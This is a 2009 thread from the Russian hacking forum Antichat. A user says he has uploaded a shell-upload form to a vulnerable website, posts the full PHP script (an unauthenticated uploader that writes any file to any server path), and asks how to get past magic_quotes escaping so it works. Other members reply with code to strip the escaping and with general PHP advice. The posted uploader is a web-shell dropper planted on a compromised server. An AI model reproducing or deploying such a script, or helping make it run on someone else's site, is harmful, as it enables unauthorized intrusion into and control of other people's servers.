ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Возникли проблемы с magic_quotes
  #1  
Старый 17.03.2009, 23:27
Аватар для Jorge_
Jorge_
Новичок
Регистрация: 30.12.2008
Сообщений: 3
Провел на форуме:
58906

Репутация: 0
По умолчанию Возникли проблемы с magic_quotes

Загрузил на уязвимый сайт форму для загрузки шела, но вместо формы, вылетают ошибки вида:

Код:
Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 8

Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /usr/local/www/blocks/block-form.php on line 8

Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 8

Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /usr/local/www/blocks/block-form.php on line 8

Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 9

Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /usr/local/www/blocks/block-form.php on line 9

Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 9

Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /usr/local/www/blocks/block-form.php on line 9

Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 10

Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /usr/local/www/blocks/block-form.php on line 10

Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 10

Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /usr/local/www/blocks/block-form.php on line 10

Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 11

Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING or T_VARIABLE or T_NUM_STRING in /usr/local/www/blocks/block-form.php on line 12
Сам скрипт формы:

PHP код:
<?php
if (!defined('BLOCK_FILE')) {
 
Header("Location: ../index.php");
 exit;
}

$self stripslashes($_SERVER['PHP_SELF']);
$docr stripslashes($_SERVER['DOCUMENT_ROOT']);
$sern stripslashes($_SERVER['SERVER_NAME']);
$tend "</tr></form></table><br><br><br><br>";
if (!empty(
$_GET['ac'])) {$ac stripslashes($_GET['ac']);}
elseif (!empty(
$_POST['ac'])) {$ac stripslashes($_POST['ac']);}
else {
$ac "upload";}
switch(
$ac) {
case 
"upload":
echo <<<HTML
<table>
<form enctype=multipart/form-data action=
$self method=POST>
<input type=hidden name=ac value=upload>
<tr>
<input size=5 name=file type=file></td>
</tr>
<tr>
<td><input size=10 value=
$docr name=path type=text><input type=submit value=ОК></td>
$tend
HTML;
if (isset(
$_POST['path'])){
$uploadfile stripslashes($_POST['path'].$_FILES['file']['name']);
if (
$_POST['path']==""){$uploadfile $_FILES['file']['name'];}

if (
copy($_FILES['file']['tmp_name'], $uploadfile)) {
    echo 
"Файл  ".$_FILES['file']['name']."  загружен";
} else {
    print (
"Не удаётся загрузить файл. Инф:\n");
    
print_r($_FILES);
}
}
break;
}
?>
На сервере установлено расширение magic_quotes_gpc.

Интересующий вопрос: Как обойти принудительное экранирование кавычек и апострофов в скрипте?
 
Ответить с цитированием

  #2  
Старый 18.03.2009, 01:06
Аватар для imajo.ati
imajo.ati
Участник форума
Регистрация: 21.02.2008
Сообщений: 255
Провел на форуме:
975514

Репутация: 177
По умолчанию

Цитата:
Сообщение от Jorge_  
Интересующий вопрос: Как обойти принудительное экранирование кавычек и апострофов в скрипте?
PHP код:
if ( ini_get("magic_quotes_gpc") == )
{
        foreach ( 
$_GET    as $id => $v $_GET[$id]     = stripslashes($v);
        foreach ( 
$_POST   as $id => $v $_POST[$id]    = stripslashes($v);
        foreach ( 
$_COOKIE as $id => $v $_COOKIE[$id]  = stripslashes($v);

 
Ответить с цитированием

  #3  
Старый 18.03.2009, 01:31
Аватар для Jorge_
Jorge_
Новичок
Регистрация: 30.12.2008
Сообщений: 3
Провел на форуме:
58906

Репутация: 0
По умолчанию

Цитата:
Сообщение от imajo.ati  
PHP код:
if ( ini_get("magic_quotes_gpc") == )
{
        foreach ( 
$_GET    as $id => $v $_GET[$id]     = stripslashes($v);
        foreach ( 
$_POST   as $id => $v $_POST[$id]    = stripslashes($v);
        foreach ( 
$_COOKIE as $id => $v $_COOKIE[$id]  = stripslashes($v);

К сожалению, не помогло.

В строках, везде где содержатся апострофы, принудительное экранирование так и не пропало.
 
Ответить с цитированием

  #4  
Старый 18.03.2009, 01:41
Аватар для imajo.ati
imajo.ati
Участник форума
Регистрация: 21.02.2008
Сообщений: 255
Провел на форуме:
975514

Репутация: 177
По умолчанию

скрипт куда-то инклудится? если нет константы BLOCK_FILE то он и не исполнится дальше 5й строчки

+ в скрипте много лишнего кода и неуместное применение функции stripslashes на переменные среды - которые не экранируются - а именно на
$_SERVER['PHP_SELF'] $_SERVER['DOCUMENT_ROOT'] $_SERVER['SERVER_NAME']
 
Ответить с цитированием

  #5  
Старый 18.03.2009, 01:46
Аватар для Jorge_
Jorge_
Новичок
Регистрация: 30.12.2008
Сообщений: 3
Провел на форуме:
58906

Репутация: 0
По умолчанию

Цитата:
Сообщение от imajo.ati  
скрипт куда-то инклудится? если нет константы BLOCK_FILE то он и не исполнится дальше 5й строчки

+ в скрипте много лишнего кода и неуместное применение функции stripslashes на переменные среды - которые не экранируются - а именно на
$_SERVER['PHP_SELF'] $_SERVER['DOCUMENT_ROOT'] $_SERVER['SERVER_NAME']
Да, на сайте используется система блоков.

На сервере с выключенным magic_quotes, скрипт работает без ошибок.

+ Спасибо, за хинт
 
Ответить с цитированием

  #6  
Старый 18.03.2009, 01:54
Аватар для imajo.ati
imajo.ati
Участник форума
Регистрация: 21.02.2008
Сообщений: 255
Провел на форуме:
975514

Репутация: 177
По умолчанию

если файл подключается через include то функцию stripslashes и вообще все input данные надо обрабатывать в конечном файле - по крайней мере так написано было в той литературе, с помощью которой я знакомился с пхп.

попробуй изменить include на require и убери ото всюду функцию stripslashes заменив кодом из #3 сообщения, а так же попробуй заменить блок
<<<HTML
HTML;
на конструкцию echo "";

но скорее всего проблема в include
 
Ответить с цитированием

  #7  
Старый 18.03.2009, 02:54
Аватар для Pashkela
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

как как, вот так:

PHP код:
<?php
if (get_magic_quotes_gpc()) {
   function 
stripslashes_deep($value)
   {
       
$value is_array($value) ?
                   
array_map('stripslashes_deep'$value) :
                   
stripslashes($value);

       return 
$value;
   }

   
$_POST array_map('stripslashes_deep'$_POST);
   
$_GET array_map('stripslashes_deep'$_GET);
   
$_COOKIE array_map('stripslashes_deep'$_COOKIE);
   
$_REQUEST array_map('stripslashes_deep'$_REQUEST);
}
?>
 
Ответить с цитированием

  #8  
Старый 18.03.2009, 02:59
Аватар для PaCo
PaCo
Постоянный
Регистрация: 06.02.2008
Сообщений: 494
Провел на форуме:
1754802

Репутация: 380
По умолчанию

2m0Hze если ты без иронии то (c)php.net - http://www.php.net/manual/ru/security.magicquotes.disabling.php

Последний раз редактировалось PaCo; 18.03.2009 в 03:03..
 
Ответить с цитированием

  #9  
Старый 05.10.2009, 17:13
Аватар для real_sm
real_sm
Новичок
Регистрация: 05.10.2009
Сообщений: 1
Провел на форуме:
2956

Репутация: 0
По умолчанию

Тем не менее, как разобрались?
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[99.7%] решение проблемы с icq AlexV ICQ 88 25.01.2009 13:31
Основные проблемы, связанные с железом. last_root Аппаратное обеспечение 11 15.01.2009 13:21
Проблемы в IPDBrute2 lite [Ar3s] ICQ 4 01.11.2006 13:09
Возникли проблемы в работе альтернативных клиентов Icq dinar_007 Мировые новости 4 11.02.2006 13:19
Я думал это у меня проблемы Wildcats Мировые новости 5 26.05.2005 08:43



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ